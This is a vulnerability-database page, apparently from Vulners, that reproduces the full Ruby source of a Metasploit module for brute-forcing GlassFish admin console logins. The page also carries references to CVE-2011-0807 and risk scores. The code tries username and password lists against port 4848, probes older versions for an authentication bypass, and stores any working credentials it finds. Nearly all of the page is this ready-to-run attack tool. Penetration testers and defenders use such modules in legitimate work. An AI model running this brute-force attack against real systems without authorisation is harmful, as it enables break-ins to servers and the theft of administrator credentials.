Lucene search
K

GlassFish Brute Force Utility

🗓️ 19 Aug 2014 00:03:26Reported by Joshua Abraham <[email protected]>, sinn3r <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 64 Views

GlassFish Brute Force Utility for Metasploit module, attempting to login using username and password combinations, with option to bypass older versions. Requires HTTPS and TLS1 for GlassFish 4.0

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'metasploit/framework/login_scanner/glassfish'
require 'metasploit/framework/credential_collection'

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::AuthBrute
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::Scanner

  def initialize
    super(
      'Name'           => 'GlassFish Brute Force Utility',
      'Description'    => %q{
        This module attempts to login to GlassFish instance using username and password
        combinations indicated by the USER_FILE, PASS_FILE, and USERPASS_FILE options.
        It will also try to do an authentication bypass against older versions of GlassFish.
        Note: by default, GlassFish 4.0 requires HTTPS, which means you must set the SSL option
        to true, and SSLVersion to TLS1. It also needs Secure Admin to access the DAS remotely.
      },
      'Author'         =>
        [
          'Joshua Abraham <jabra[at]spl0it.org>', # @Jabra
          'sinn3r'
        ],
      'References'     =>
        [
          ['CVE', '2011-0807'],
          ['OSVDB', '71948']
        ],
      'License'        => MSF_LICENSE
    )

    register_options(
      [
        # There is no TARGETURI because when Glassfish is installed, the path is /
        Opt::RPORT(4848),
        OptString.new('USERNAME',[true, 'A specific username to authenticate as','admin']),
      ])
  end

  #
  # Module tracks the session id, and then it will have to pass the last known session id to
  # the LoginScanner class so the authentication can proceed properly
  #

  #
  # For a while, older versions of Glassfish didn't need to set a password for admin,
  # but looks like no longer the case anymore, which means this method is getting useless
  # (last tested: Aug 2014)
  #
  def is_password_required?(version)
    success = false

    if version =~ /^[29]\.x$/
      res = send_request_cgi({'uri'=>'/applications/upload.jsf'})
      p = /<title>Deploy Enterprise Applications\/Modules/
      if (res && res.code.to_i == 200 && res.body.match(p) != nil)
        success = true
      end
    elsif version =~ /^3\./
      res = send_request_cgi({'uri'=>'/common/applications/uploadFrame.jsf'})
      p = /<title>Deploy Applications or Modules/
      if (res && res.code.to_i == 200 && res.body.match(p) != nil)
        success = true
      end
    end

    success
  end


  def init_loginscanner(ip)
    @cred_collection = build_credential_collection(
      username: datastore['USERNAME'],
      password: datastore['PASSWORD']
    )

    @scanner = Metasploit::Framework::LoginScanner::Glassfish.new(
      configure_http_login_scanner(
        cred_details:       @cred_collection,
        stop_on_success:    datastore['STOP_ON_SUCCESS'],
        bruteforce_speed:   datastore['BRUTEFORCE_SPEED'],
        connection_timeout: 5,
        http_username:      datastore['HttpUsername'],
        http_password:      datastore['HttpPassword']
      )
    )
  end

  def do_report(ip, port, result)
    service_data = {
      address: ip,
      port: port,
      service_name: 'http',
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    credential_data = {
      module_fullname: self.fullname,
      origin_type: :service,
      private_data: result.credential.private,
      private_type: :password,
      username: result.credential.public,
    }.merge(service_data)

    credential_core = create_credential(credential_data)

    login_data = {
      core: credential_core,
      last_attempted_at: DateTime.now,
      status: result.status
    }.merge(service_data)

    create_credential_login(login_data)
  end

  def bruteforce(ip)
    @scanner.scan! do |result|
      case result.status
      when Metasploit::Model::Login::Status::SUCCESSFUL
        print_brute :level => :good, :ip => ip, :msg => "Success: '#{result.credential}'"
        do_report(ip, rport, result)
      when Metasploit::Model::Login::Status::DENIED_ACCESS
        print_brute :level => :status, :ip => ip, :msg => "Correct credentials, but unable to login: '#{result.credential}'"
        do_report(ip, rport, result)
      when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
        if datastore['VERBOSE']
          print_brute :level => :verror, :ip => ip, :msg => "Could not connect"
        end
        invalidate_login(
            address: ip,
            port: rport,
            protocol: 'tcp',
            public: result.credential.public,
            private: result.credential.private,
            realm_key: result.credential.realm_key,
            realm_value: result.credential.realm,
            status: result.status
        )
      when Metasploit::Model::Login::Status::INCORRECT
        if datastore['VERBOSE']
          print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'"
        end
        invalidate_login(
            address: ip,
            port: rport,
            protocol: 'tcp',
            public: result.credential.public,
            private: result.credential.private,
            realm_key: result.credential.realm_key,
            realm_value: result.credential.realm,
            status: result.status
        )
      end
    end
  end



  #
  # main
  #
  def run_host(ip)
    init_loginscanner(ip)
    msg = @scanner.check_setup
    if msg
      print_brute :level => :error, :ip => rhost, :msg => msg
      return
    end

    print_brute :level=>:status, :ip=>rhost, :msg=>('Checking if Glassfish requires a password...')
    if @scanner.version =~ /^[239]\.x$/ && is_password_required?(@scanner.version)
      print_brute :level => :good, :ip => ip, :msg => "Note: This Glassfish does not require a password"
    else
      print_brute :level=>:status, :ip=>rhost, :msg=>("Glassfish is protected with a password")
    end

    bruteforce(ip) unless @scanner.version.blank?
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

03 May 2024 12:00Current
7.6High risk
Vulners AI Score7.6
CVSS 210
EPSS0.87545
64